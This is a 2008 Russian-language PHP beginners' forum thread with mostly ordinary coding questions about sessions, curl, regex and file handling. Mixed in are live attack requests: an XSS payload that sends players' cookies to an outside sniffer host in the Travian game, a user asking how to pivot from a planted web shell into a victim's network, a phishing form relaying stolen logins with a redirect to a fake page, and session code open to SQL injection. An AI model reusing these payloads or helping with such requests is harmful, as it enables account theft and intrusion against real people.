спасибо большое но можно сделать вывод в 1 строчку а не каждую строку в отдельности ?

<?php
print "<marquee bgcolor=\"#c0c0c0\" behavior=\"scroll\">".str_replace("\n",' ', file_get_contents("имя_файла_со_строками.txt"))."</marquee>";
?>

Realix
25.04.2008, 20:24
<?php
print "<marquee bgcolor=\"#c0c0c0\" behavior=\"scroll\">".str_replace("\n",' ', file_get_contents("имя_файла_со_строками.txt"))."</marquee>";
?>
огромное спасибо то что и требывалось :)

l0l1k
25.04.2008, 21:55
как разбить *.dic файл который весит 500 магабайт на файлы поменьше примерно по 50 или по 100 мегабайт

Piflit
25.04.2008, 21:57
руками и блокнотом хуле

l0l1k
25.04.2008, 21:59
так мне нада через пхп это зделать !!! ты себе придставляиш открывать фаил блокнотом который 500 мб !!!

Piflit
25.04.2008, 22:00
так мне нада через пхп это зделать !!! ты себе придставляиш открывать фаил блокнотом который 500 мб !!!
придставляйу

l0l1k
25.04.2008, 22:01
ну так напиши на пхп !!!!!!!!! тебе чо трудна ???????

Piflit
25.04.2008, 22:03
не вижу смысла

l0l1k
25.04.2008, 22:04
токда подскажи другой способ это зделать !!! и тем болше мне интересно как это зделать !

NOmeR1
25.04.2008, 22:12
Архивируешь Winrar'ом, вписав в "Разделить на тома размером (в байтах)" тот размер что тебе нужен. И харе зафлуживать тему.

l0l1k
25.04.2008, 22:56
вы что сговорились ??? издеваетесь ??? мне надо это сделать на Php и точка .

presidentua
25.04.2008, 23:04
блокнот не поддерживает больших файлов. в Ворде делай!

Токо одного не пойму, тебе что здесь кто-то обязан. Или может денег должны. Хотят помагают хотят нет. Буть проще и люди потянутся. Сорри за оффтоп, не удержался.

NOmeR1
25.04.2008, 23:17
На PHP файл будет долго читаться, но раз уж ты так нервничаешь.
<?php
// {
$file = 'big_file.txt';
$bytes = 50000;
// }
$fopen = fopen($file, 'r');
$i = 1;
while(!feof($fopen)) {
$total_resource = fgets($fopen, $bytes);
$fopen2 = fopen($i.'_tom.txt', 'a');
fwrite($fopen2, $total_resource);
fclose($fopen2);
$i++;
}
fclose($fopen);
?>

Architek86
26.04.2008, 00:38
Что то я не пойму, IE не передаёт данные из формы скрипту PHP?
Ибо есть простой скриптик загрузки файлов через форму.... вот:
<form method="post" enctype="multipart/form-data" action="engine.php">
<b>01</b><input name="userfile1" type="file" size="40" />
<b>02</b><input name="userfile2" type="file" size="40" />
<b>03</b><input name="userfile3" type="file" size="40" />
<input name="upload" type="submit" value="Загрузить">
</form>
А вот и сам скрипт engine.php:
<?php
if ((is_uploaded_file($HTTP_POST_FILES['userfile1']['tmp_name']) || is_uploaded_file($HTTP_POST_FILES['userfile2']['tmp_name']) || is_uploaded_file($HTTP_POST_FILES['userfile3']['tmp_name'])) & ($HTTP_POST_FILES['userfile1']['type']=="image/jpg" || $HTTP_POST_FILES['userfile1']['type']=="image/jpeg" || $HTTP_POST_FILES['userfile2']['type']=="image/jpg" || $HTTP_POST_FILES['userfile2']['type']=="image/jpeg" || $HTTP_POST_FILES['userfile3']['type']=="image/jpg" || $HTTP_POST_FILES['userfile3']['type']=="image/jpeg"))
{
$nm = mt_rand(12345,999999999);
$ras = '.jpg';
if (($HTTP_POST_FILES['userfile1']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile1']['type']=="image/jpeg"))
{
$nbr="_1";
$iname = $nm.$nbr.$ras;
copy ($HTTP_POST_FILES['userfile1']['tmp_name'], $iname);
}
if (($HTTP_POST_FILES['userfile2']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile2']['type']=="image/jpeg"))
{
$nbr="_2";
$iname = $nm.$nbr.$ras;
copy ($HTTP_POST_FILES['userfile2']['tmp_name'], $iname);
}
if (($HTTP_POST_FILES['userfile3']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile3']['type']=="image/jpeg"))
{
$nbr="_3";
$iname = $nm.$nbr.$ras;
copy ($HTTP_POST_FILES['userfile3']['tmp_name'], $iname);
}
}
else
{
print 'Нельзя загрузить даный тип файла';
}
?>
По идеи должен загружать файл, но через ИЕ этого не происходит, так и пишет - Нельзя загрузить даный тип файла.. ПОЧЕМУ??? хотя через другие браузеры - всё ок... :(

Корвин
26.04.2008, 03:05
попробуй вместо $HTTP_POST_FILES, просто $_POST

Doom123
26.04.2008, 03:29
Драсте... у меня вопрос вот часто вижу что сессии хранятся в БД

1.Что это даёт?
(Даёт управление значениями сессии?)
2.Если сессия в БД как при этом устроить автологин?
(Брать значения из сессии и куков и если они сходятся записывать сессию)

чтото я эти махинации с сессиями не пойму..

d_x
26.04.2008, 03:47
Сессию и запись в БД можно связать при помощи PHPSESSID. То есть session_start создаёт сессию, выделяя некоторый id, по которому можно создать запись в базе при первом заходе пользователя на сайт и внести в неё всю информацию о юзере. А в дальнейшем, при заходе по кукисам, получать эту запись из БД опять-таки при помощи PHPSESSID. А реализовать удалении сессии можно так: просто добавить в таблицу сессий в БД поле с датой последнего обращения пользователя и удалять записи, которые старше некоторого времени. Соответственно, при нескольких обращениях юзера к сайту это поле должно обновляться.

То есть:
1) юзер обратился к сайту. Создалась сессия, ему в кукисы записался PHPSESSID.
2) сразу же в БД создалась запись с ключом PHPSESSID и всеми необходимыми данными сессии
3) юзер снова обратился к странице сайта. Теперь новая сессия не создаётся, а используется PHPSESSID из его кукисов.
4) теперь данные сессии мы не добавляем в БД, а делаем выборку из таблицы с сессиями, примерно так: select ... from (таблица_сессий) where sid=$PHPSESSID. Кроме того,обновляем поле времени последнего обращения юзера в таблице сессий.
5) юзер ушёл с сайта, закрыл браузер. Но при обращении других юзеров из таблицы сессий удаляются старые записи, т.е. удалится и запись этого ушедшего пользователя через время, которое мы установили. (delete from (таблица_сессий) where (поле_время_последнего_обра щения)<время-время_онлайна).
6) если юзер ушёл с сайта, нажав кнопку, например, "logoff", то можно сразу удалять запись в таблице сессий с его PHPSESSID.

Основные плюсы - можно модифицировать чужие сессии и отслеживать, онлайн пользователь или нет.

Doom123
26.04.2008, 04:20
Тьфу а я думал чтото насчёт безопасности) я до того ка задал вопрос написал примерный скрипт а када написал не понел зачем я это сделал =)))

вот скрипт... верный?



<?php

/**
* @author
* @copyright 2008
*/
mysql_connect('localhost', 'root', '');
mysql_select_db('session');

function ses_open($ses_path, $ses_name)
{
return true;
}

function ses_close()
{
return true;
}

function ses_read($key)
{
$result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'");
$fetch = mysql_fetch_assoc($result);
return $fetch['val'];
}

function ses_write($key, $val)
{
$result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'");
$fetch = @mysql_fetch_assoc($result);
if ($fetch != array())
{
@mysql_query("UPDATE `session` SET `name`='" . session_name() . "', `val`='$val', `time`='" .
time() . "' WHERE `key`='$key'");
} else
{
@mysql_query("INSERT INTO `session` SET `name`='" . session_name() . "', `val`='$val',`key`='$key', `time`='" .
time() . "'");
}
return true;
}

function ses_destroy($key)
{
return @mysql_query("DELET FROM `session` WHERE `key`='$key'");
}

function ses_gc($maxtime)
{
$result = mysql_query("select `time`,`key` FROM `session` where 1");
for ($fetch = array(); $row = mysql_fetch_array(); $fetch[] = $row)
;
foreach ($fetch as $v)
{
if (time() - $v[time] >= $maxtime)
{
mysql_query("DELET FROM `session` WHERE `val`='$v[val]'");
}
}
}

session_set_save_handler("ses_open", "ses_close", "ses_read", "ses_write",
"ses_destroy", "ses_gc");

?>

d_x
26.04.2008, 04:31
Вроде верно всё, нужно только параметры фильтровать

А вот это:

$result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'");
$fetch = @mysql_fetch_assoc($result);
if ($fetch != array())
{
@mysql_query("UPDATE `session` SET `name`='" . session_name() . "', `val`='$val', `time`='" .
time() . "' WHERE `key`='$key'");
} else
{
@mysql_query("INSERT INTO `session` SET `name`='" . session_name() . "', `val`='$val',`key`='$key', `time`='" .
time() . "'");
}
return true;

можно заменить таким:


$tm=time();
@mysql_query("insert into session (val,key,time) values('$val','$key',$tm) ON DUPLICATE KEY UPDATE time=$tm, $val='$val'");
return true;

Но только если key - UNIQUE index или PRIMARY KEY и начиная с MySQL 4.1.
И ещё после запроса SELECT не надо забывать mysql_free_result.

Doom123
26.04.2008, 04:32
Так это был тестовый скрипт у меня ваще для работы с БД спецальный класс написаный мной он усё фильтрует=)

fireball
26.04.2008, 07:40
Короче народ где библиотеку Gd обновить?

zythar
26.04.2008, 10:09
качай новый РНР имхо

l0l1k
26.04.2008, 17:01
как зделать FOR но чтоб перепрыгивала не через адин ($d++) а через три сразу !

d_x
26.04.2008, 17:08
$d+=3

Zircool
26.04.2008, 20:51
вопрос по curl.. использую curl для связи с хостом идет 3 сессий, первая-авторизация, вторая- проверка печенья, третья- уже выполнение определенного действия, все сеансы идут по порядку в коде, но почему при всех вписаных 3 сеансах запрос начинает идти с последней части кода, где выполняется определенное действие и следовательно вылетает ошибка что ты не авторизован, если оставляешь первые 2 сесии а третью удаляешь, происходить все по порядку, никто не сталкивался с такой проблемой?

Kaimi
27.04.2008, 02:24
использую curl для связи с хостом идет 3 сессий, первая-авторизация, вторая- проверка печенья, третья- уже выполнение определенного действия, все сеансы идут по порядку в коде, но почему при всех вписаных 3 сеансах запрос начинает идти с последней части кода, где выполняется определенное действие и следовательно вылетает ошибка что ты не авторизован, если оставляешь первые 2 сесии а третью удаляешь, происходить все по порядку, никто не сталкивался с такой проблемой?

Попробуй все делать в одной сессии, тогда проблем не будет)

Isis
27.04.2008, 15:49
[R]eD,
SELECT * FROM `news`WHERE `type`='2' ORDER BY `date`

DVD_RW
27.04.2008, 17:25
Сразу к делу.
Проблема с XSS ...
Вот она:
Когда я ввожу XSS ...
а ввожу я его в игру travian.ru он меня перемещат на мой сниффер, но я не знаю , как дать ссылку людям((
примерно вот:
Сначала ввожу: ">
потом no"><script> document.location.href="http://s.netsec.ru/60880.gif?"+encodeURI(document.cookie); </script><


т.е. там speed.travian.ru/allianz.php и всё..а надо чтоб альянс переминовался по "какой нибудь" ссылке... оч прошу - помогите(((

Но там пхп ...я в общем то хз ... попробуйте вот тут:
speed.travian.ru < зарегистрируйтесь , постройте посольство до 3 ЛВЛа... - создайте альянс \и переминуйте его в поле "ally2" ((
Если можно то ответы в 452277469 ! но сюда тоже зайду!
Заранее спасибо! :(


===т.е. мне надо СРАЗУ ссылку сделать , чтобы она переминовала альянс и выходила на линк :)

Sleep
27.04.2008, 18:35
ппц не хрена не понял :confused: какой альянс,какое посольство
и вобще причём тут "[php] Новичкам: задаем вопросы"

zythar
27.04.2008, 19:12
Сразу к делу.
Проблема с XSS ...
Вот она:
Когда я ввожу XSS ...
а ввожу я его в игру travian.ru он меня перемещат на мой сниффер, но я не знаю , как дать ссылку людям((
примерно вот:
Сначала ввожу: ">
потом no"><script> document.location.href="http://s.netsec.ru/60880.gif?"+encodeURI(document.cookie); </script><


т.е. там speed.travian.ru/allianz.php и всё..а надо чтоб альянс переминовался по "какой нибудь" ссылке... оч прошу - помогите(((

Но там пхп ...я в общем то хз ... попробуйте вот тут:
speed.travian.ru < зарегистрируйтесь , постройте посольство до 3 ЛВЛа... - создайте альянс \и переминуйте его в поле "ally2" ((
Если можно то ответы в 452277469 ! но сюда тоже зайду!
Заранее спасибо! :(


===т.е. мне надо СРАЗУ ссылку сделать , чтобы она переминовала альянс и выходила на линк :)

детка. при чем тут РНР а?
ты запости это в уязвимостях, ок? там тебе помогут

DVD_RW
27.04.2008, 20:59
Да не разбираюсь я в этом :-( ток Xss интересны ...

Nightmarе
28.04.2008, 00:43
есть код бана по IP диапазону вот он
if(strpos($_SERVER['REMOTE_ADDR'], '(80.169.') !== false) {функция бана}

Мне нужно сделать так, чтобы код брал диапазоны IP адресов из файла, в котором они расположенны просто:
80.169
111.222
123.321
и т.д...
Делал проверку, и если IP совпал с диапазоном из этого файла, то бан.
Кому не сложно, напишите код!!!

pento
28.04.2008, 01:21
есть код бана по IP диапазону вот он
if(strpos($_SERVER['REMOTE_ADDR'], '(80.169.') !== false) {функция бана}

Мне нужно сделать так, чтобы код брал диапазоны IP адресов из файла, в котором они расположенны просто:
80.169
111.222
123.321
и т.д...
Делал проверку, и если IP совпал с диапазоном из этого файла, то бан.
Кому не сложно, напишите код!!!
Что-то типа такого:

<?php

$nets_filename = './nets.txt';
$nets = file($nets_filename, FILE_IGNORE_NEW_LINES);

foreach ($nets as $net)
if (strpos($_SERVER['REMOTE_ADDR'], $net) === 0)
echo $net;

?>

Nightmarе
28.04.2008, 02:29
Что-то типа такого:

<?php

$nets_filename = './nets.txt';
$nets = file($nets_filename, FILE_IGNORE_NEW_LINES);

foreach ($nets as $net)
if (strpos($_SERVER['REMOTE_ADDR'], $net) === 0)
echo $net;

?>

Не пашет :(

echobyte
28.04.2008, 04:31
<?php

$nets_filename = './nets.txt';
$nets = file($nets_filename, 'FILE_IGNORE_NEW_LINES');

foreach ($nets as $net)
if (strpos($_SERVER['REMOTE_ADDR'], $net) === 0)
echo $net;

?>

pento
28.04.2008, 08:12
<?php

$nets_filename = './nets.txt';
$nets = file($nets_filename, 'FILE_IGNORE_NEW_LINES');

foreach ($nets as $net)
if (strpos($_SERVER['REMOTE_ADDR'], $net) === 0)
echo $net;

?>
Вообще-то, мой код правильный: http://ru2.php.net/file

pento
28.04.2008, 08:12
Не пашет :(
А как ты проверял?

Buffalon
28.04.2008, 12:27
Вроде не дети ... .А вам некажется что
strpos($net,$_SERVER['REMOTE_ADDR']);
Сначала где а потом ЧАВО))

satana8920
28.04.2008, 15:46
помогите плизз я вот тут хотел что б передавались данные из формы скрипту а не из файла
<?
function a($n)
{
$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
$q='';
$e='';
for($l=0;$l<strlen($n);$l++)
{
$o=$n[$l];
$m=strpos($p,$o);
if($m>-1)
{
$z=(($m+1)-1);
if($z==79)
{
$z =0;
}
$q .= $p[$z+1];
} else {
$q.=$o;
}
}
return $q;
}
if(!isset($_POST["script"])){$_POST["script"]="введите ваш скрипт";}
$a=$_POST["script"];
print"<td><input name="script" type="text" value="888" size=60></td></tr>"
$file=join('',file('in.html'));
$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);
$file=a($file);
$decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);i f(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}";
$decrypt=urlencode($decrypt);
$decrypt=str_replace('+',' ',$decrypt);
$file=str_replace("'","\'",$file);
$cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code );}load('".$file."',unescape('".$decrypt."'));</script>";
$file=fopen('out.htm','w');
fputs($file,$cont);
fclose($file);
?>;
как поправить обьясните плизз

Rashid
28.04.2008, 15:49
Прошу сильно не пинать
Подскажите новичку: залил шелл на сервак теперь имею доступ к его локальным дискам, теперь возникло 2 вопроса:
1. возможно ли просмотреть компы его локальной сети (и их диски)
2. как админ может узнать, что у него на серваке шелл висит?

zythar
28.04.2008, 15:58
1. да возможно
2. по логам

Rashid
28.04.2008, 16:15
[QUOTE=zythar]1. да возможно
Ткните пальцем или дайте ссылку где почитать про это можно

SeGaLWS
28.04.2008, 16:19
[QUOTE=zythar]1. да возможно
Ткните пальцем или дайте ссылку где почитать про это можно
по моему парень ты темой ошибся...

zythar
28.04.2008, 16:25
прочитать про это мона здесь (http://google.com)

Nightmarе
28.04.2008, 18:31
А как ты проверял?
Добавлял в файл свой диапазон, и добавлял echo "test";
Далее манипулировал с === 0 заменяя то на == 0 то на !== false\true и вообще убирал, результат одинаковый, либо команда выполняется лиоб нет, но на текстовый файл не реагирует ;(
щас опять буду химичить...

Doom123
28.04.2008, 20:01
!== false\true

Если это логические то != false\true

echobyte
28.04.2008, 22:55
2 pento
))) у меня на денвере с php4 без ковычек вылезает ошибка, а на хостинге с php5, скрипт работает только без ковычек, но на http://ru2.php.net/file написано что правильно без ковычек и для 4 и для 5 версии :)

Корвин
29.04.2008, 03:02
такая проблема, есть массив $_session, все его елементы задаются и скрипт кидает в следующий файл


$_SESSION['login']=$login;
$_SESSION['password']=$password;
$_SESSION['id']=$lg['id'];
$_SESSION['type']=$lg['user_type'];
Header('Location: index.php');


на данном этапе все елементы заполнены(!)

а дальше в самом верху index.php


<?php
session_start();
echo $_SESSION['id'];

$_SESSION['id'] уже пустой, причем только он, все остальные не пропадают, что тут не так? почему id исчезает?

GreenBear
29.04.2008, 03:10
а в первом стоит сессион_старт?

Nightmarе
29.04.2008, 03:17
Есть ли на php алгоритмы шифрования с открытым ключём? По типу base 64, или аналоговой системы.

В общем нужно такой php скрипт сделать, чтобы в нём было:
<?
include "http://site.ru/file.txt"; //именно инклуд с другого сайта, я не уверен в правильности написания.
$code = "sdlfdgdfgfdgdfgdfgdfgsdfdsfds"; // тут идёт зашифрованный php код.
А тут должна быть команда расшифровывающяя зашифрованный код, при помощи ключа полученного инклудом с другого сайта. И собственно зашифрованный php код должен выполниться.
?>
Можно ли такое реализовать?

Корвин
29.04.2008, 03:25
а в первом стоит сессион_старт?


да стоит

GreenBear
29.04.2008, 03:27
ну значит не передается в первом параметре ид

.acme
29.04.2008, 06:27
Ребят, я хотел бы узнать, как можно реализовать примерно такую сраничку на php >> http://razor1911.com/demo/
Буду рад даже запросу в гугл %) алсо не знаю даже что искать.

.:EnoT:.
29.04.2008, 06:54
Ребят, я хотел бы узнать, как можно реализовать примерно такую сраничку на php >> http://razor1911.com/demo/
Буду рад даже запросу в гугл %) алсо не знаю даже что искать.
ну там движок стоит, походу самописный...довольно простой, написать такой день-два.
Если ты имеешь ввиду навигацию, то тут всё просто:

<?php
if($_GET['menu'] == 'products')
{
#Контент страницы products
}
elseif($_GET['menu'] == 'contacts')
{
#Контент страницы контактов
}
else
{
#Контент главной страницы
}
?>

Простейший пример. Если хочешь подробнее о такой навигации то почитай про гет запросы.
Или ты имел ввиду что-то другое?

.acme
29.04.2008, 07:15
Именно это и хотел узнать. Спасибо.

.:EnoT:.
29.04.2008, 18:31
Всем привед.
Давненько не задавал вопросов, сейчас появился.
Вроде всё просто а допереть не могу. Задача для 5-го класса школы))

В БД есть N-ное количество новостей, эти новости выводятся с постраничной навигацией по 5 на страницу (возможно любое число). Нужно определить сколько новостей вывелось на последней странице и если оно равно 5 (кол-ву новостей на каждой странице), то сделать определённое действие.
Пример: Всего новостей 21, выводится 5 новостей на страницу. Из этого получается что всего страниц генерится 5, а на самой последней странице 1 новость.



$on_page = 5; //Сообщений на страницу
$all_posts = mysql_query(...); //Всего постов
$all_pages = intva(($all_posts - 1) / $on_page) + 1; //Всего страниц

А дальше не могу понять что на что делить :D ппц детсад, а я не могу врубиться...

Fuckel
29.04.2008, 18:55
это не совсем детсад, это проходят на курсе Теории чисел во втором семестре. это сравнимость, делимость и остатки. например, 1 сравнима с 7 по модулю 2. тоесть и 1, и 7 при деление на 2 дает остаток 1.

Macro
29.04.2008, 19:11
Енот, это решается просто sql запросами с limit'ом, то есть

if(isset($_GET['page']))
{$limit=(intval($_GET['page']))*5;}
else
{
$limit=0;
}
$q='select * from news order by id limit '.$limit.',5';


Я правильно понял?

.:EnoT:.
29.04.2008, 19:27
О, Макро привет))
Неа, не правильно понял.

Щас попробую сформулировать по другому. Мне нужно именно сколько новостей влезло на последнюю страницу...просто как математический рассчё, ну или статистика как ещё назвать.
Щас попробую сформулировать алгоритм кода.
(Это не постраничная навигация!)
-Количество новостей на страницу 5
-Запрашиваем количество новостей в базе (для примера их там 21)
-Получаем количество страниц на которые это дело выводится, в данном случае получается 5
-Далее нужно вычислить сколько новостей влезло на самую последнюю страницу.
В данном случае на последней странице у нас будет 1 сообщение, т.к. на остальные 4 страницы влезло по 5 сообщений как и требовалось.

Вот самое последнее действие не могу осилить =\

Macro
29.04.2008, 19:32
может,
$all_posts-intval($all_posts/5)*5


$all_posts=21;
$posts_per_page=5;
echo($all_posts-intval($all_posts/$posts_per_page)*$posts_per_page);

Вывело 1

desTiny
29.04.2008, 19:43
Странные вы...
$onlastpage = $all % 5
если $onlastpage === 0, то это значит что у нас есть $all/5 заполненных страниц, иначе floor($all/5) + 1

.:EnoT:.
29.04.2008, 20:19
Всем спасибо всё работает.
По коду Макро доделал и всё заработало нормально, потом обновил страницу, DesTiny выложил более короткий код....незнаю теперь чё выбрать :D

sky7
29.04.2008, 21:42
кто подскажет, как показывать список пользователей которые просматривают страничку?

Macro
30.04.2008, 00:11
sky7,
для этого нужно считывать данные зашедшего на страничку, и записывать их и текущее время в файл/бд если они не совпадают. А если совпадают, то записывать только время. Ну и надо проверять устаревшие записи, по установленному таймауту, чаще всего минут 5-10.

opy495
30.04.2008, 00:36
какой код нада добавить чтоб при неверной паре логин/пас происходил возврат на фейк страницу?
<html>
<body onload=submitform()>
<form method='post' name='login' id='login' action='http://cayt.ru/login.php'>
<input type='hidden' name='success_url' id='success_url' value=''>
<input type='hidden' name='fail_url' id='fail_url' value=''>
<input type='hidden' name='try_to_login' id='try_to_login' value='1'>
<input type='hidden' name='email' value='$login'>
<input type='hidden' name='pass' value='$password'>
</form>
<script type='text/javascript'>document.login.submit();</script>
</body>
</html>";

?>

Piflit
30.04.2008, 00:45
opy495 послать запрос авторизации с введенными данными. если в ответе есть строка, которая говорит о невалидной паре логин-пасс, то
header('Location: http://www.fake.com/fake.html');

sky7
30.04.2008, 21:12
есть 2 фрейма, как сделать чтоб при нажатии кнопки в первом фрейме обновить страничку второго фрейма?

astrologer
30.04.2008, 21:30
top.frames['имя_фрейма'].location.reload();

sky7
30.04.2008, 23:21
astrologer ,
И куда это записать, чтоб обновился фрейм при нажатии этой кнопки: <INPUT TYPE="Submit" Value="Enter">

desTiny
30.04.2008, 23:25
astrologer ,
И куда это записать, чтоб обновился фрейм при нажатии этой кнопки: <INPUT TYPE="Submit" Value="Enter">
<INPUT TYPE="Button" onclick="javascript:top.frames['имя_фрейма'].location.reload();" Value="Enter">

astrologer
30.04.2008, 23:28
<INPUT TYPE="Button" onclick="javascript:top.frames['имя_фрейма'].location.reload();" Value="Enter"> "javascript:" там не надо...

desTiny
30.04.2008, 23:30
"javascript:" там не надо...
я привык писать... И оно вроде как бы положено по спецификации... Во всяком случае, я люблю чёткую структуру:)

astrologer
30.04.2008, 23:34
я привык писать... И оно вроде как бы положено по спецификации... Во всяком случае, я люблю чёткую структуру:)Нет, не положено. Впрочем, не будем обсуждать это в теме php.

sky7
01.05.2008, 12:21
спасиб
а чтоб тоже самое работало и при нажатии ентер?

astrologer
01.05.2008, 17:36
спасиб
а чтоб тоже самое работало и при нажатии ентер? Может, просто объявить target?<form target="имя_фрейма">
<input type="submit">
</form>

inlanger
02.05.2008, 14:43
Блин, никак не найду как перекодировать кириллицу в утф... Подскажите плиз

VDShark
02.05.2008, 14:48
Блин, никак не найду как перекодировать кириллицу в утф... Подскажите плиз
Нечто вродь этого:

<?php
echo fix_cyr('траляля');
function fix_cyr($var){
if (is_array($var)) {
$new = array();
foreach ($var as $k => $v) {
$new[fix_cyr($k)] = fix_cyr($v);
}
$var = $new;
} elseif (is_object($var)) {
$vars = get_object_vars($var);
foreach ($vars as $m => $v) {
$var->$m = fix_cyr($v);
}
} elseif (is_string($var)) {
$var = iconv('cp1251', 'utf-8', $var);
}
return $var;
}

Doom123
02.05.2008, 15:33
Есть ли способ записать куки а потом их вывести без перезагрузки?

например

<?
setcookie("test","testing");
echo $_COOKIE['test'];//чтоб вывелось сразу testing без перезгрузки страницы
?>

NOmeR1
02.05.2008, 15:56
Doom123, Почему бы не сделать так
<?php
$var = 'testing';
setcookie('test', $var);
echo $var;
?>

Shadow_p1raT
02.05.2008, 16:51
Есть текст:
[HTML]
<tr>
<td width="70%" class="al3"><span class="al6">
<a class=al4 href=http://www.site.to/view.php?ad=45143 target=_blank>Up To 50 Ads Daily (20 Guaranteed) - 100% Referral Earnings - Upgrade Now!</a>
</span></td>
<td width="10%" class="al5"><span class="al6">
361982</span></td>
<td width="10%" class="al5"><span class="al6">
26068</span></td>
<td width="10%" class="al5"><span class="al6">
388050</span></td>
</tr>

<tr>
<td width="70%" class="al3"><span class="al6">
<a class=al4 href=http://www.site.to/view.php?ad=45055 target=_blank>:shock: 500 Referrals in 6 hours :shock:</a>
</span></td>
<td width="10%" class="al5"><span class="al6">
529412</span></td>
<td width="10%" class="al5"><span class="al6">
32857</span></td>
<td width="10%" class="al5"><span class="al6">
562269</span></td>
</tr>

<tr>
<td width="70%" class="al3"><span class="al6">
<a class=al4 href=http://www.site.to/view.php?ad=44831
[HTML]
Как из этого текста получить ссылки типа
http://www.site.to/view.php?ad=44831 и занести их в массив?
Запание Спасибо!

NOmeR1
02.05.2008, 17:43
<?php
preg_match_all('~<a[^>]+href=([^\s\n\x3E]+)[^>]*>~is', $code, $regs);
print_r($regs[1]);
?>
В $code должен быть твой код.

Zircool
02.05.2008, 19:03
Добрый день..Поздравляю всех с майскими праздниками.. Вопросик.... Кто нибудь выложите пример скрипта, работающего через proxy.... Написал скрипт, работающий через curl, пробовал осуществить работу скрипта через прокси прописав в сесии curl строку

curl_setopt($ch, CURLOPT_PROXY, $proxy);

но к сожалению что то не особо активно работает скрипт через прокси....

VDShark
02.05.2008, 20:01
Добрый день..Поздравляю всех с майскими праздниками.. Вопросик.... Кто нибудь выложите пример скрипта, работающего через proxy.... Написал скрипт, работающий через curl, пробовал осуществить работу скрипта через прокси прописав в сесии curl строку

curl_setopt($ch, CURLOPT_PROXY, $proxy);

но к сожалению что то не особо активно работает скрипт через прокси....
Порт не забыл указать? С курлом и прокси норм работал.

Zircool
02.05.2008, 20:39
нет переменная $proxy имела вид xxx.xxx.xxx.xxx:1080. А curl работает со всеми типами proxy? с соксами работает?

[HEX]Ice
02.05.2008, 21:27
Вот простой пример посмотри, что у тебя не так:

<?php $url = 'http://whatismyip.com';
$ch = curl_init();
curl_setopt($ch, curlOPT_URL,$url);
curl_setopt($ch, curlOPT_HTTPproxyTUNNEL, 1); curl_setopt($ch, curlOPT_proxy, '128.114.63.15:3128'); curl_setopt($ch, curlOPT_FOLLOWLOCATION, 1); curl_setopt($ch, curlOPT_RETURNTRANSFER, 0); curl_setopt($ch, curlOPT_CUSTOMREQUEST,'GET'); curl_setopt ($ch, curlOPT_HEADER, 1);
curl_exec ($ch);
$curl_info = curl_getinfo($ch);
curl_close($ch); echo '<br />'; print_r($curl_info); ?>

Isis
02.05.2008, 23:57
Zircool,
Example: Proxy 5
curl_setopt($cp, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);

Shadow_p1raT
03.05.2008, 13:01
NOmeR1,С помощью твоего скрипта я получил вот это:
"http://www.site.to/index.php"
"http://www.site.to/spppremium.php"
http://www.site.to/logout.php
http://www.site.to/stats.php
http://www.site.to/how.php
http://www.site.to/faq.php
http://www.site.to/advertise.php
http://www.site.to/contact.php
http://www.site.to/view.php?ad=45143
http://www.site.to/view.php?ad=45055
http://www.site.to/view.php?ad=44831
http://www.site.to/view.php?ad=44836
http://www.site.to/view.php?ad=45203
http://www.site.to/view.php?ad=45388
http://www.site.to/view.php?ad=45386
http://www.site.to/view.php?ad=45387
http://www.site.to/view.php?ad=45201
http://www.site.to/view.php?ad=45047
http://www.site.to/view.php?ad=44772
http://www.site.to/view.php?ad=45405
"http://www.site.to/privacy.php"
"http://www.site.to/tos.php"
"http://www.site.to/banner.php"
"http://www.site.to/proof_of_payments.php"
"http://www.site.to/scc35.php"
"http://www.site.to/sccpremium.php"
А как из этого текста получить ссылки типа:
http://www.site.to/view.php?ad=45143
http://www.site.to/view.php?ad=45055
http://www.site.to/view.php?ad=44831
http://www.site.to/view.php?ad=44836
http://www.site.to/view.php?ad=45203
http://www.site.to/view.php?ad=45388
http://www.site.to/view.php?ad=45386
http://www.site.to/view.php?ad=45387
http://www.site.to/view.php?ad=45201
http://www.site.to/view.php?ad=45047
http://www.site.to/view.php?ad=44772
http://www.site.to/view.php?ad=45405
Помоги пожалуйста,я вообще дуб в регулярках.

Piflit
03.05.2008, 15:18
/http:\/\/www\.site\.to\/view\.php\?ad=\d+/

NOmeR1
03.05.2008, 17:12
Так проще:
<?php
// {
$pattern = 'http://www.site.to/view.php?ad=NUMBER';
// }
preg_match_all('~' . str_replace('NUMBER', '\d+', preg_quote($pattern, '~') . '~i'), $code, $regEXP);
$regEXP[0] = array_unique($regEXP[0]); // Удаляем повторы
echo('<pre>');
print_r($regEXP[0]);
echo('</pre>');
?>
В $code твой код, в $pattern шаблон для нужной ссылки (На месте NUMBER может быть любое число).

Dimi4
03.05.2008, 20:35
Есть некая проблема.
Имеем текст. Допустим:
$string="фбв бав :фв 7ыфв иьттифыв выалооти ываггрыддлти ываооои зшываи";
разделяем его по пробелу.
$some = explode(" ",$string);
То есть теперь у нас:

$some[0]="фбв";
$some[1]="бав";
$some[2]=":фв";
$some[3]="7ыфв";

Мне нужно, чтобы все значение масива "$some" после $somе[3], ($some[3] тоже входить) выводились таким образом:
$some[3] | $some[4] | $some[5] |

и тд. Причем количество значений масива неизвестно.
я пробовал решить так:

<?php

$string="фбв бав :фв 7ыфв иьттифыв выалооти ываггрыддлти ываооои зшываи";
$some = explode(" ",$string);
for($i=3; $i < count($some); $i++)
{

$text=implode("|",$some[$i]);
echo "text";
}
?>
но выдает ошибку
>:(
помогите плз.

FeraS
03.05.2008, 20:58
Dimi4
А если так))

<?php
$string = "фбв бав :фв 7ыфв иьттифыв выалооти ываггрыддлти ываооои зшываи";
$some = explode(" ", $string);

